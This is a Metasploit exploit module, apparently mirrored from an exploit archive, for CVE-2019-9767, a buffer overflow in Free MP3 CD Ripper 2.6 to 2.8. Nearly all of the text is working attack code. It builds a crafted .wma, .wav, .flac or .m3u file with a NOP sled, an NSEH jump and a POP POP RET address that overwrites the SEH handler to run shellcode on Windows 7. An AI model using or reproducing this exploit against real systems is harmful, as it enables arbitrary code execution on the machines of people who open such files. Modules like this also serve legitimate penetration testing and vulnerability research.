Exploit for Free MP3 CD Ripper 2.8 Buffer Overflow CVE-2019-9767

## https://sploitus.com/exploit?id=PACKETSTORM:160157
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Free MP3 CD Ripper 2.6 < 2.8 (.wma.wav.flac.m3u.acc) Buffer Overflow",  
'Description' => %q{  
This module exploits a buffer overflow in Free MP3 CD Ripper versions 2.6 and 2.8.  
By constructing a specially crafted WMA WAV M3U ACC FLAC file and attempting to convert it to an MP3 file in the  
application, a buffer is overwritten, which allows for running shellcode.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Gionathan Reale', # Exploit-DB POC  
'ZwX' # Metasploit Module  
],  
'References' =>  
[  
[ 'CVE', '2019-9767' ],  
[ 'EDB', '45412' ],  
[ 'URL', 'https://www.exploit-db.com/exploits/45412' ]  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Windows 7 x86 - Windows 7 x64',  
{  
'Ret' => 0x66e42121 # POP POP RET  
}  
]  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d\x2f"  
},  
'Privileged' => false,  
'DisclosureDate' => "Sep 09 2018",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [true, 'Create malicious file example extension (.wma .wav .acc .flac .m3u)', 'name.wma'])  
])  
end  
  
def exploit  
file_payload = payload.encoded  
  
msfsploit = make_fast_nops(4116)  
msfsploit << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # NSEH_JMP  
msfsploit << [target.ret].pack("V*") # SEH  
msfsploit << file_payload  
msfsploit << make_fast_nops(4440)  
  
file_create(msfsploit)  
end  
end